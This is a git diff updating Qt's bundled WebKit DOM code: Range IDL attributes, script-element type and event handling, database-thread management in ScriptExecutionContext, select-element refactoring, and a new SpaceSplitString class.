diff --git a/src/3rdparty/webkit/WebCore/dom/Range.idl b/src/3rdparty/webkit/WebCore/dom/Range.idl
index 9024e09..cd01d61 100644
--- a/src/3rdparty/webkit/WebCore/dom/Range.idl
+++ b/src/3rdparty/webkit/WebCore/dom/Range.idl
@@ -21,7 +21,7 @@
 module ranges {
 
     // Introduced in DOM Level 2:
-    interface [GenerateConstructor] Range {
+    interface Range {
 
         readonly attribute Node startContainer
             getter raises(DOMException);
diff --git a/src/3rdparty/webkit/WebCore/dom/RangeException.h b/src/3rdparty/webkit/WebCore/dom/RangeException.h
index 2eee3b0..c9f4f5c 100644
--- a/src/3rdparty/webkit/WebCore/dom/RangeException.h
+++ b/src/3rdparty/webkit/WebCore/dom/RangeException.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999 Lars Knoll (knoll@kde.org)
  * (C) 2000 Gunnstein Lye (gunnstein@netcom.no)
  * (C) 2000 Frederik Holljen (frederik.holljen@hig.no)
diff --git a/src/3rdparty/webkit/WebCore/dom/RangeException.idl b/src/3rdparty/webkit/WebCore/dom/RangeException.idl
index d2cf385..100912d 100644
--- a/src/3rdparty/webkit/WebCore/dom/RangeException.idl
+++ b/src/3rdparty/webkit/WebCore/dom/RangeException.idl
@@ -19,9 +19,7 @@
 
 module ranges {
 
-    interface [
-        GenerateConstructor
-    ] RangeException {
+    interface RangeException {
 
         readonly attribute unsigned short   code;
         readonly attribute DOMString        name;
diff --git a/src/3rdparty/webkit/WebCore/dom/ScriptElement.cpp b/src/3rdparty/webkit/WebCore/dom/ScriptElement.cpp
index 827aff3..731c3ba 100644
--- a/src/3rdparty/webkit/WebCore/dom/ScriptElement.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/ScriptElement.cpp
@@ -177,7 +177,7 @@ void ScriptElementData::evaluateScript(const ScriptSourceCode& sourceCode)
         return;
 
     if (Frame* frame = m_element->document()->frame()) {
-        if (!frame->script()->isEnabled())
+        if (!frame->script()->canExecuteScripts(AboutToExecuteScript))
             return;
 
         m_evaluated = true;
@@ -229,12 +229,14 @@ bool ScriptElementData::shouldExecuteAsJavaScript() const
          We want to accept all the values that either of these browsers accept, but not other values.
      */
     String type = m_scriptElement->typeAttributeValue();
-    if (!type.isEmpty())
-        return MIMETypeRegistry::isSupportedJavaScriptMIMEType(type.stripWhiteSpace().lower());
-
-    String language = m_scriptElement->languageAttributeValue();
-    if (!language.isEmpty())
-        return isSupportedJavaScriptLanguage(language);
+    if (!type.isEmpty()) {
+        if (!MIMETypeRegistry::isSupportedJavaScriptMIMEType(type.stripWhiteSpace().lower()))
+            return false;
+    } else {
+        String language = m_scriptElement->languageAttributeValue();
+        if (!language.isEmpty() && !isSupportedJavaScriptLanguage(language))
+            return false;
+    }    
 
     // No type or language is specified, so we assume the script to be JavaScript.
     // We don't yet support setting event listeners via the 'for' attribute for scripts.
@@ -244,7 +246,13 @@ bool ScriptElementData::shouldExecuteAsJavaScript() const
     // and we support the for syntax in script tags, this check can be removed and we should just
     // return 'true' here.
     String forAttribute = m_scriptElement->forAttributeValue();
-    return forAttribute.isEmpty();
+    String eventAttribute = m_scriptElement->eventAttributeValue();
+    if (forAttribute.isEmpty() || eventAttribute.isEmpty())
+        return true;
+    
+    forAttribute = forAttribute.stripWhiteSpace();
+    eventAttribute = eventAttribute.stripWhiteSpace();
+    return equalIgnoringCase(forAttribute, "window") && (equalIgnoringCase(eventAttribute, "onload") || equalIgnoringCase(eventAttribute, "onload()"));
 }
 
 String ScriptElementData::scriptCharset() const
diff --git a/src/3rdparty/webkit/WebCore/dom/ScriptElement.h b/src/3rdparty/webkit/WebCore/dom/ScriptElement.h
index 0aed5e8..fad6fe7 100644
--- a/src/3rdparty/webkit/WebCore/dom/ScriptElement.h
+++ b/src/3rdparty/webkit/WebCore/dom/ScriptElement.h
@@ -43,6 +43,7 @@ public:
     virtual String typeAttributeValue() const = 0;
     virtual String languageAttributeValue() const = 0;
     virtual String forAttributeValue() const = 0;
+    virtual String eventAttributeValue() const = 0;
 
     virtual void dispatchLoadEvent() = 0;
     virtual void dispatchErrorEvent() = 0;
diff --git a/src/3rdparty/webkit/WebCore/dom/ScriptExecutionContext.cpp b/src/3rdparty/webkit/WebCore/dom/ScriptExecutionContext.cpp
index f7046e3..c2fe120 100644
--- a/src/3rdparty/webkit/WebCore/dom/ScriptExecutionContext.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/ScriptExecutionContext.cpp
@@ -28,7 +28,9 @@
 #include "ScriptExecutionContext.h"
 
 #include "ActiveDOMObject.h"
-#include "Document.h"
+#include "Database.h"
+#include "DatabaseTask.h"
+#include "DatabaseThread.h"
 #include "MessagePort.h"
 #include "SecurityOrigin.h"
 #include "WorkerContext.h"
@@ -44,9 +46,9 @@ namespace WebCore {
 
 class ProcessMessagesSoonTask : public ScriptExecutionContext::Task {
 public:
-    static PassRefPtr<ProcessMessagesSoonTask> create()
+    static PassOwnPtr<ProcessMessagesSoonTask> create()
     {
-        return adoptRef(new ProcessMessagesSoonTask);
+        return new ProcessMessagesSoonTask;
     }
 
     virtual void performTask(ScriptExecutionContext* context)
@@ -56,6 +58,9 @@ public:
 };
 
 ScriptExecutionContext::ScriptExecutionContext()
+#if ENABLE(DATABASE)
+    : m_hasOpenDatabases(false)
+#endif
 {
 }
 
@@ -72,8 +77,69 @@ ScriptExecutionContext::~ScriptExecutionContext()
         ASSERT((*iter)->scriptExecutionContext() == this);
         (*iter)->contextDestroyed();
     }
+#if ENABLE(DATABASE)
+    if (m_databaseThread) {
+        ASSERT(m_databaseThread->terminationRequested());
+        m_databaseThread = 0;
+    }
+#endif
+}
+
+#if ENABLE(DATABASE)
+
+DatabaseThread* ScriptExecutionContext::databaseThread()
+{
+    if (!m_databaseThread && !m_hasOpenDatabases) {
+        // Create the database thread on first request - but not if at least one database was already opened,
+        // because in that case we already had a database thread and terminated it and should not create another.
+        m_databaseThread = DatabaseThread::create();
+        if (!m_databaseThread->start())
+            m_databaseThread = 0;
+    }
+
+    return m_databaseThread.get();
+}
+
+void ScriptExecutionContext::addOpenDatabase(Database* database)
+{
+    ASSERT(isContextThread());
+    if (!m_openDatabaseSet)
+        m_openDatabaseSet.set(new DatabaseSet());
+
+    ASSERT(!m_openDatabaseSet->contains(database));
+    m_openDatabaseSet->add(database);
+}
+
+void ScriptExecutionContext::removeOpenDatabase(Database* database)
+{
+    ASSERT(isContextThread());
+    ASSERT(m_openDatabaseSet && m_openDatabaseSet->contains(database));
+    if (!m_openDatabaseSet)
+        return;
+    m_openDatabaseSet->remove(database);
+}
+
+void ScriptExecutionContext::stopDatabases(DatabaseTaskSynchronizer* cleanupSync)
+{
+    ASSERT(isContextThread());
+    if (m_openDatabaseSet) {
+        DatabaseSet::iterator i = m_openDatabaseSet->begin();
+        DatabaseSet::iterator end = m_openDatabaseSet->end();
+        for (; i != end; ++i) {
+            (*i)->stop();
+            if (m_databaseThread)
+                m_databaseThread->unscheduleDatabaseTasks(*i);
+        }
+    }
+    
+    if (m_databaseThread)
+        m_databaseThread->requestTermination(cleanupSync);
+    else if (cleanupSync)
+        cleanupSync->taskCompleted();
 }
 
+#endif
+
 void ScriptExecutionContext::processMessagePortMessagesSoon()
 {
     postTask(ProcessMessagesSoonTask::create());
diff --git a/src/3rdparty/webkit/WebCore/dom/ScriptExecutionContext.h b/src/3rdparty/webkit/WebCore/dom/ScriptExecutionContext.h
index 398afec..f1c79cf 100644
--- a/src/3rdparty/webkit/WebCore/dom/ScriptExecutionContext.h
+++ b/src/3rdparty/webkit/WebCore/dom/ScriptExecutionContext.h
@@ -31,17 +31,27 @@
 #include "KURL.h"
 #include <wtf/HashMap.h>
 #include <wtf/HashSet.h>
+#include <wtf/PassOwnPtr.h>
 #include <wtf/PassRefPtr.h>
+#include <wtf/RefPtr.h>
 #include <wtf/Threading.h>
 
 namespace WebCore {
 
     class ActiveDOMObject;
+#if ENABLE(DATABASE)
+    class Database;
+    class DatabaseTaskSynchronizer;
+    class DatabaseThread;
+#endif
     class DOMTimer;
     class MessagePort;
     class SecurityOrigin;
     class ScriptString;
     class String;
+#if ENABLE(INSPECTOR)
+    class InspectorController;
+#endif
 
     enum MessageDestination {
 #if ENABLE(INSPECTOR)
@@ -58,12 +68,28 @@ namespace WebCore {
         virtual bool isDocument() const { return false; }
         virtual bool isWorkerContext() const { return false; }
 
+#if ENABLE(DATABASE)
+        virtual bool isDatabaseReadOnly() const = 0;
+        virtual void databaseExceededQuota(const String& name) = 0;
+        DatabaseThread* databaseThread();
+        void setHasOpenDatabases() { m_hasOpenDatabases = true; }
+        bool hasOpenDatabases() const { return m_hasOpenDatabases; }
+        void addOpenDatabase(Database*);
+        void removeOpenDatabase(Database*);
+        // When the database cleanup is done, cleanupSync will be signalled.
+        void stopDatabases(DatabaseTaskSynchronizer*);
+#endif
+        virtual bool isContextThread() const = 0;
+
         const KURL& url() const { return virtualURL(); }
         KURL completeURL(const String& url) const { return virtualCompleteURL(url); }
 
         virtual String userAgent(const KURL&) const = 0;
 
         SecurityOrigin* securityOrigin() const { return m_securityOrigin.get(); }
+#if ENABLE(INSPECTOR)
+        virtual InspectorController* inspectorController() const { return 0; }
+#endif
 
         virtual void reportException(const String& errorMessage, int lineNumber, const String& sourceURL) = 0;
         virtual void addMessage(MessageDestination, MessageSource, MessageType, MessageLevel, const String& message, unsigned lineNumber, const String& sourceURL) = 0;
@@ -92,13 +118,15 @@ namespace WebCore {
         void ref() { refScriptExecutionContext(); }
         void deref() { derefScriptExecutionContext(); }
 
-        class Task : public ThreadSafeShared<Task> {
+        class Task : public Noncopyable {
         public:
             virtual ~Task();
             virtual void performTask(ScriptExecutionContext*) = 0;
+            // Certain tasks get marked specially so that they aren't discarded, and are executed, when the context is shutting down its message queue.
+            virtual bool isCleanupTask() const { return false; }
         };
 
-        virtual void postTask(PassRefPtr<Task>) = 0; // Executes the task on context's thread asynchronously.
+        virtual void postTask(PassOwnPtr<Task>) = 0; // Executes the task on context's thread asynchronously.
 
         void addTimeout(int timeoutId, DOMTimer*);
         void removeTimeout(int timeoutId);
@@ -128,6 +156,13 @@ namespace WebCore {
 
         virtual void refScriptExecutionContext() = 0;
         virtual void derefScriptExecutionContext() = 0;
+
+#if ENABLE(DATABASE)
+        RefPtr<DatabaseThread> m_databaseThread;
+        bool m_hasOpenDatabases; // This never changes back to false, even after the database thread is closed.
+        typedef HashSet<Database* > DatabaseSet;
+        OwnPtr<DatabaseSet> m_openDatabaseSet;
+#endif
     };
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/dom/SelectElement.cpp b/src/3rdparty/webkit/WebCore/dom/SelectElement.cpp
index 3d2a549..e900245 100644
--- a/src/3rdparty/webkit/WebCore/dom/SelectElement.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/SelectElement.cpp
@@ -22,6 +22,7 @@
 #include "SelectElement.h"
 
 #include "CharacterNames.h"
+#include "Chrome.h"
 #include "ChromeClient.h"
 #include "Element.h"
 #include "EventHandler.h"
@@ -49,10 +50,10 @@
 
 // Configure platform-specific behavior when focused pop-up receives arrow/space/return keystroke.
 // (PLATFORM(MAC) and PLATFORM(GTK) are always false in Chromium, hence the extra tests.)
-#if PLATFORM(MAC) || (PLATFORM(CHROMIUM) && PLATFORM(DARWIN))
+#if PLATFORM(MAC) || (PLATFORM(CHROMIUM) && OS(DARWIN))
 #define ARROW_KEYS_POP_MENU 1
 #define SPACE_OR_RETURN_POP_MENU 0
-#elif PLATFORM(GTK) || (PLATFORM(CHROMIUM) && PLATFORM(LINUX))
+#elif PLATFORM(GTK) || (PLATFORM(CHROMIUM) && OS(LINUX))
 #define ARROW_KEYS_POP_MENU 0
 #define SPACE_OR_RETURN_POP_MENU 1
 #else
@@ -149,7 +150,7 @@ void SelectElement::setActiveSelectionEndIndex(SelectElementData& data, int inde
 
 void SelectElement::updateListBoxSelection(SelectElementData& data, Element* element, bool deselectOtherOptions)
 {
-    ASSERT(element->renderer() && element->renderer()->isListBox());
+    ASSERT(element->renderer() && (element->renderer()->isListBox() || data.multiple()));
     ASSERT(data.activeSelectionAnchorIndex() >= 0);
 
     unsigned start = min(data.activeSelectionAnchorIndex(), data.activeSelectionEndIndex());
@@ -175,7 +176,7 @@ void SelectElement::updateListBoxSelection(SelectElementData& data, Element* ele
 
 void SelectElement::listBoxOnChange(SelectElementData& data, Element* element)
 {
-    ASSERT(!data.usesMenuList());
+    ASSERT(!data.usesMenuList() || data.multiple());
 
     Vector<bool>& lastOnChangeSelection = data.lastOnChangeSelection(); 
     const Vector<Element*>& items = data.listItems(element);
@@ -221,28 +222,21 @@ void SelectElement::scrollToSelection(SelectElementData& data, Element* element)
         toRenderListBox(renderer)->selectionChanged();
 }
 
-void SelectElement::recalcStyle(SelectElementData& data, Element* element)
+void SelectElement::setOptionsChangedOnRenderer(SelectElementData& data, Element* element)
 {
-    RenderObject* renderer = element->renderer();
-    if (element->childNeedsStyleRecalc() && renderer) {
+    if (RenderObject* renderer = element->renderer()) {
         if (data.usesMenuList())
             toRenderMenuList(renderer)->setOptionsChanged(true);
         else
             toRenderListBox(renderer)->setOptionsChanged(true);
-    } else if (data.shouldRecalcListItems())
-        recalcListItems(data, element);
+    }
 }
 
 void SelectElement::setRecalcListItems(SelectElementData& data, Element* element)
 {
     data.setShouldRecalcListItems(true);
     data.setActiveSelectionAnchorIndex(-1); // Manual selection anchor is reset when manipulating the select programmatically.
-    if (RenderObject* renderer = element->renderer()) {
-        if (data.usesMenuList())
-            toRenderMenuList(renderer)->setOptionsChanged(true);
-        else
-            toRenderListBox(renderer)->setOptionsChanged(true);
-    }
+    setOptionsChangedOnRenderer(data, element);
     element->setNeedsStyleRecalc();
 }
 
@@ -251,6 +245,8 @@ void SelectElement::recalcListItems(SelectElementData& data, const Element* elem
     Vector<Element*>& listItems = data.rawListItems();
     listItems.clear();
 
+    data.setShouldRecalcListItems(false);
+
     OptionElement* foundSelected = 0;
     for (Node* currentNode = element->firstChild(); currentNode;) {
         if (!currentNode->isElementNode()) {
@@ -296,8 +292,6 @@ void SelectElement::recalcListItems(SelectElementData& data, const Element* elem
         // <select>'s subtree at this point.
         currentNode = currentNode->traverseNextSibling(element);
     }
-
-    data.setShouldRecalcListItems(false);
 }
 
 int SelectElement::selectedIndex(const SelectElementData& data, const Element* element)
@@ -348,6 +342,8 @@ void SelectElement::setSelectedIndex(SelectElementData& data, Element* element,
         data.setUserDrivenChange(userDrivenChange);
         if (fireOnChangeNow)
             menuListOnChange(data, element);
+        if (RenderMenuList* menuList = toRenderMenuList(element->renderer()))
+            menuList->didSetSelectedIndex();
     }
 
     if (Frame* frame = element->document()->frame())
@@ -444,7 +440,7 @@ void SelectElement::restoreFormControlState(SelectElementData& data, Element* el
             optionElement->setSelectedState(state[i] == 'X');
     }
 
-    element->setNeedsStyleRecalc();
+    setOptionsChangedOnRenderer(data, element);
 }
 
 void SelectElement::parseMultipleAttribute(SelectElementData& data, Element* element, MappedAttribute* attribute)
@@ -468,27 +464,15 @@ bool SelectElement::appendFormData(SelectElementData& data, Element* element, Fo
 
     for (unsigned i = 0; i < items.size(); ++i) {
         OptionElement* optionElement = toOptionElement(items[i]);
-        if (optionElement && optionElement->selected()) {
+        if (optionElement && optionElement->selected() && !optionElement->disabled()) {
             list.appendData(name, optionElement->value());
             successful = true;
         }
     }
 
-    // FIXME: This case should not happen. Make sure that we select the first option
-    // in any case, otherwise we have no consistency with the DOM interface.
-    // We return the first one if it was a combobox select
-    if (!successful && !data.multiple() && data.size() <= 1 && items.size()) {
-        OptionElement* optionElement = toOptionElement(items[0]);
-        if (optionElement) {
-            const AtomicString& value = optionElement->value();
-            if (value.isNull())
-                list.appendData(name, optionElement->text().stripWhiteSpace());
-            else
-                list.appendData(name, value);
-            successful = true;
-        }
-    }
-
+    // It's possible that this is a menulist with multiple options and nothing
+    // will be submitted (!successful). We won't send a unselected non-disabled
+    // option as fallback. This behavior matches to other browsers.
     return successful;
 } 
 
@@ -518,6 +502,7 @@ void SelectElement::reset(SelectElementData& data, Element* element)
     if (!selectedOption && firstOption && data.usesMenuList())
         firstOption->setSelectedState(true);
 
+    setOptionsChangedOnRenderer(data, element);
     element->setNeedsStyleRecalc();
 }
     
@@ -662,6 +647,52 @@ void SelectElement::menuListDefaultEventHandler(SelectElementData& data, Element
     }
 }
 
+void SelectElement::updateSelectedState(SelectElementData& data, Element* element, int listIndex,
+                                        bool multi, bool shift)
+{
+    ASSERT(listIndex >= 0);
+
+    // Save the selection so it can be compared to the new selection when dispatching change events during mouseup, or after autoscroll finishes.
+    saveLastSelection(data, element);
+
+    data.setActiveSelectionState(true);
+
+    bool shiftSelect = data.multiple() && shift;
+    bool multiSelect = data.multiple() && multi && !shift;
+
+    Element* clickedElement = data.listItems(element)[listIndex];
+    OptionElement* option = toOptionElement(clickedElement);
+    if (option) {
+        // Keep track of whether an active selection (like during drag selection), should select or deselect
+        if (option->selected() && multi)
+            data.setActiveSelectionState(false);
+
+        if (!data.activeSelectionState())
+            option->setSelectedState(false);
+    }
+
+    // If we're not in any special multiple selection mode, then deselect all other items, excluding the clicked option.
+    // If no option was clicked, then this will deselect all items in the list.
+    if (!shiftSelect && !multiSelect)
+        deselectItems(data, element, clickedElement);
+
+    // If the anchor hasn't been set, and we're doing a single selection or a shift selection, then initialize the anchor to the first selected index.
+    if (data.activeSelectionAnchorIndex() < 0 && !multiSelect)
+        setActiveSelectionAnchorIndex(data, element, selectedIndex(data, element));
+
+    // Set the selection state of the clicked option
+    if (option && !clickedElement->disabled())
+        option->setSelectedState(true);
+
+    // If there was no selectedIndex() for the previous initialization, or
+    // If we're doing a single selection, or a multiple selection (using cmd or ctrl), then initialize the anchor index to the listIndex that just got clicked.
+    if (data.activeSelectionAnchorIndex() < 0 || !shiftSelect)
+        setActiveSelectionAnchorIndex(data, element, listIndex);
+
+    setActiveSelectionEndIndex(data, listIndex);
+    updateListBoxSelection(data, element, !multiSelect);
+}
+
 void SelectElement::listBoxDefaultEventHandler(SelectElementData& data, Element* element, Event* event, HTMLFormElement* htmlForm)
 {
     const Vector<Element*>& listItems = data.listItems(element);
@@ -674,53 +705,11 @@ void SelectElement::listBoxDefaultEventHandler(SelectElementData& data, Element*
         IntPoint localOffset = roundedIntPoint(element->renderer()->absoluteToLocal(mouseEvent->absoluteLocation(), false, true));
         int listIndex = toRenderListBox(element->renderer())->listIndexAtOffset(localOffset.x(), localOffset.y());
         if (listIndex >= 0) {
-            // Save the selection so it can be compared to the new selection when dispatching change events during mouseup, or after autoscroll finishes.
-            saveLastSelection(data, element);
-
-            data.setActiveSelectionState(true);
-            
-            bool multiSelectKeyPressed = false;
-#if PLATFORM(MAC) || (PLATFORM(CHROMIUM) && PLATFORM(DARWIN))
-            multiSelectKeyPressed = mouseEvent->metaKey();
+#if PLATFORM(MAC) || (PLATFORM(CHROMIUM) && OS(DARWIN))
+            updateSelectedState(data, element, listIndex, mouseEvent->metaKey(), mouseEvent->shiftKey());
 #else
-            multiSelectKeyPressed = mouseEvent->ctrlKey();
+            updateSelectedState(data, element, listIndex, mouseEvent->ctrlKey(), mouseEvent->shiftKey());
 #endif
-
-            bool shiftSelect = data.multiple() && mouseEvent->shiftKey();
-            bool multiSelect = data.multiple() && multiSelectKeyPressed && !mouseEvent->shiftKey();
-
-            Element* clickedElement = listItems[listIndex];            
-            OptionElement* option = toOptionElement(clickedElement);
-            if (option) {
-                // Keep track of whether an active selection (like during drag selection), should select or deselect
-                if (option->selected() && multiSelectKeyPressed)
-                    data.setActiveSelectionState(false);
-
-                if (!data.activeSelectionState())
-                    option->setSelectedState(false);
-            }
-            
-            // If we're not in any special multiple selection mode, then deselect all other items, excluding the clicked option.
-            // If no option was clicked, then this will deselect all items in the list.
-            if (!shiftSelect && !multiSelect)
-                deselectItems(data, element, clickedElement);
-
-            // If the anchor hasn't been set, and we're doing a single selection or a shift selection, then initialize the anchor to the first selected index.
-            if (data.activeSelectionAnchorIndex() < 0 && !multiSelect)
-                setActiveSelectionAnchorIndex(data, element, selectedIndex(data, element));
-
-            // Set the selection state of the clicked option
-            if (option && !clickedElement->disabled())
-                option->setSelectedState(true);
-            
-            // If there was no selectedIndex() for the previous initialization, or
-            // If we're doing a single selection, or a multiple selection (using cmd or ctrl), then initialize the anchor index to the listIndex that just got clicked.
-            if (listIndex >= 0 && (data.activeSelectionAnchorIndex() < 0 || !shiftSelect))
-                setActiveSelectionAnchorIndex(data, element, listIndex);
-            
-            setActiveSelectionEndIndex(data, listIndex);
-            updateListBoxSelection(data, element, !multiSelect);
-
             if (Frame* frame = element->document()->frame())
                 frame->eventHandler()->setMouseDownMayStartAutoscroll();
 
@@ -753,7 +742,7 @@ void SelectElement::listBoxDefaultEventHandler(SelectElementData& data, Element*
             // Save the selection so it can be compared to the new selection when dispatching change events immediately after making the new selection.
             saveLastSelection(data, element);
 
-            ASSERT(endIndex >= 0 && (unsigned) endIndex < listItems.size()); 
+            ASSERT_UNUSED(listItems, endIndex >= 0 && (unsigned) endIndex < listItems.size());
             setActiveSelectionEndIndex(data, endIndex);
             
             // If the anchor is unitialized, or if we're going to deselect all other options, then set the anchor index equal to the end index.
@@ -892,6 +881,8 @@ void SelectElement::typeAheadFind(SelectElementData& data, Element* element, Key
             setSelectedIndex(data, element, listToOptionIndex(data, element, index));
             if (!data.usesMenuList())
                 listBoxOnChange(data, element);
+
+            setOptionsChangedOnRenderer(data, element);
             element->setNeedsStyleRecalc();
             return;
         }
@@ -954,8 +945,8 @@ SelectElementData::SelectElementData()
 
 void SelectElementData::checkListItems(const Element* element) const
 {
-#ifndef NDEBUG
-    const Vector<Element*>& items = m_listItems;
+#if !ASSERT_DISABLED
+    Vector<Element*> items = m_listItems;
     SelectElement::recalcListItems(*const_cast<SelectElementData*>(this), element, false);
     ASSERT(items == m_listItems);
 #else
diff --git a/src/3rdparty/webkit/WebCore/dom/SelectElement.h b/src/3rdparty/webkit/WebCore/dom/SelectElement.h
index 4cc76a0..dcb6879 100644
--- a/src/3rdparty/webkit/WebCore/dom/SelectElement.h
+++ b/src/3rdparty/webkit/WebCore/dom/SelectElement.h
@@ -1,4 +1,5 @@
 /*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
  * Copyright (C) 2009 Torch Mobile Inc. All rights reserved. (http//www.torchmobile.com/)
  *
  * This library is free software; you can redistribute it and/or
@@ -60,6 +61,8 @@ public:
     virtual void setSelectedIndex(int index, bool deselect = true) = 0;
     virtual void setSelectedIndexByUser(int index, bool deselect = true, bool fireOnChangeNow = false) = 0;
 
+    virtual void listBoxSelectItem(int listIndex, bool allowMultiplySelections, bool shift, bool fireOnChangeNow = true) = 0;
+
 protected:
     virtual ~SelectElement() { }
 
@@ -75,7 +78,6 @@ protected:
     static void listBoxOnChange(SelectElementData&, Element*);
     static void menuListOnChange(SelectElementData&, Element*);
     static void scrollToSelection(SelectElementData&, Element*);
-    static void recalcStyle(SelectElementData&, Element*);
     static void setRecalcListItems(SelectElementData&, Element*);
     static void recalcListItems(SelectElementData&, const Element*, bool updateSelectedStates = true);
     static int selectedIndex(const SelectElementData&, const Element*);
@@ -96,10 +98,14 @@ protected:
     static void insertedIntoTree(SelectElementData&, Element*);
     static void accessKeySetSelectedIndex(SelectElementData&, Element*, int index);
     static unsigned optionCount(const SelectElementData&, const Element*);
+
+    static void updateSelectedState(SelectElementData& data, Element* element, int listIndex,
+                                    bool multi, bool shift);
  
 private:
     static void menuListDefaultEventHandler(SelectElementData&, Element*, Event*, HTMLFormElement*);
     static void listBoxDefaultEventHandler(SelectElementData&, Element*, Event*, HTMLFormElement*);
+    static void setOptionsChangedOnRenderer(SelectElementData&, Element*);
 };
 
 // HTML/WMLSelectElement hold this struct as member variable
@@ -114,7 +120,14 @@ public:
     int size() const { return m_size; }
     void setSize(int value) { m_size = value; }
 
-    bool usesMenuList() const { return !m_multiple && m_size <= 1; }
+    bool usesMenuList() const
+    {
+#if ENABLE(NO_LISTBOX_RENDERING)
+        return true;
+#else
+        return !m_multiple && m_size <= 1;
+#endif
+    }
 
     int lastOnChangeIndex() const { return m_lastOnChangeIndex; }
     void setLastOnChangeIndex(int value) { m_lastOnChangeIndex = value; }
diff --git a/src/3rdparty/webkit/WebCore/dom/SelectorNodeList.cpp b/src/3rdparty/webkit/WebCore/dom/SelectorNodeList.cpp
index 85b1238..bc97034 100644
--- a/src/3rdparty/webkit/WebCore/dom/SelectorNodeList.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/SelectorNodeList.cpp
@@ -50,7 +50,6 @@ PassRefPtr<StaticNodeList> createSelectorNodeList(Node* rootNode, const CSSSelec
     CSSStyleSelector::SelectorChecker selectorChecker(document, strictParsing);
 
     if (strictParsing && rootNode->inDocument() && onlySelector && onlySelector->m_match == CSSSelector::Id && !document->containsMultipleElementsWithId(onlySelector->m_value)) {
-        ASSERT(querySelectorList.first()->attribute() == idAttr);
         Element* element = document->getElementById(onlySelector->m_value);
         if (element && (rootNode->isDocumentNode() || element->isDescendantOf(rootNode)) && selectorChecker.checkSelector(onlySelector, element))
             nodes.append(element);
diff --git a/src/3rdparty/webkit/WebCore/dom/SpaceSplitString.cpp b/src/3rdparty/webkit/WebCore/dom/SpaceSplitString.cpp
new file mode 100644
index 0000000..b062dbf
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/SpaceSplitString.cpp
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2007 David Smith (catfish.man@gmail.com)
+ * Copyright (C) 2007, 2008 Apple Inc. All rights reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public License
+ * along with this library; see the file COPYING.LIB.  If not, write to
+ * the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ */
+
+#include "config.h"
+#include "SpaceSplitString.h"
+
+#include <wtf/ASCIICType.h>
+
+using namespace WTF;
+
+namespace WebCore {
+
+static bool hasNonASCIIOrUpper(const String& string)
+{
+    const UChar* characters = string.characters();
+    unsigned length = string.length();
+    bool hasUpper = false;
+    UChar ored = 0;
+    for (unsigned i = 0; i < length; i++) {
+        UChar c = characters[i];
+        hasUpper |= isASCIIUpper(c);
+        ored |= c;
+    }
+    return hasUpper || (ored & ~0x7F);
+}
+
+void SpaceSplitStringData::createVector()
+{
+    ASSERT(!m_createdVector);
+    ASSERT(m_vector.isEmpty());
+
+    if (m_shouldFoldCase && hasNonASCIIOrUpper(m_string))
+        m_string = m_string.foldCase();
+
+    const UChar* characters = m_string.characters();
+    unsigned length = m_string.length();
+    unsigned start = 0;
+    while (true) {
+        while (start < length && isClassWhitespace(characters[start]))
+            ++start;
+        if (start >= length)
+            break;
+        unsigned end = start + 1;
+        while (end < length && !isClassWhitespace(characters[end]))
+            ++end;
+
+        m_vector.append(AtomicString(characters + start, end - start));
+
+        start = end + 1;
+    }
+
+    m_string = String();
+    m_createdVector = true;
+}
+
+bool SpaceSplitStringData::containsAll(SpaceSplitStringData& other)
+{
+    ensureVector();
+    other.ensureVector();
+    size_t thisSize = m_vector.size();
+    size_t otherSize = other.m_vector.size();
+    for (size_t i = 0; i < otherSize; ++i) {
+        const AtomicString& name = other.m_vector[i];
+        size_t j;
+        for (j = 0; j < thisSize; ++j) {
+            if (m_vector[j] == name)
+                break;
+        }
+        if (j == thisSize)
+            return false;
+    }
+    return true;
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/dom/SpaceSplitString.h b/src/3rdparty/webkit/WebCore/dom/SpaceSplitString.h
new file mode 100644
index 0000000..2ef3fc4
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/SpaceSplitString.h
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2007, 2008 Apple Inc. All rights reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public License
+ * along with this library; see the file COPYING.LIB.  If not, write to
+ * the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ *
+ */
+
+#ifndef SpaceSplitString_h
+#define SpaceSplitString_h
+
+#include "AtomicString.h"
+#include <wtf/OwnPtr.h>
+#include <wtf/Vector.h>
+
+namespace WebCore {
+
+    class SpaceSplitStringData : public Noncopyable {
+    public:
+        SpaceSplitStringData(const String& string, bool shouldFoldCase)
+            : m_string(string), m_shouldFoldCase(shouldFoldCase), m_createdVector(false)
+        {
+        }
+
+        bool contains(const AtomicString& string)
+        {
+            ensureVector();
+            size_t size = m_vector.size();
+            for (size_t i = 0; i < size; ++i) {
+                if (m_vector[i] == string)
+                    return true;
+            }
+            return false;
+        }
+
+        bool containsAll(SpaceSplitStringData&);
+
+        size_t size() { ensureVector(); return m_vector.size(); }
+        const AtomicString& operator[](size_t i) { ensureVector(); ASSERT(i < size()); return m_vector[i]; }
+
+    private:
+        void ensureVector() { if (!m_createdVector) createVector(); }
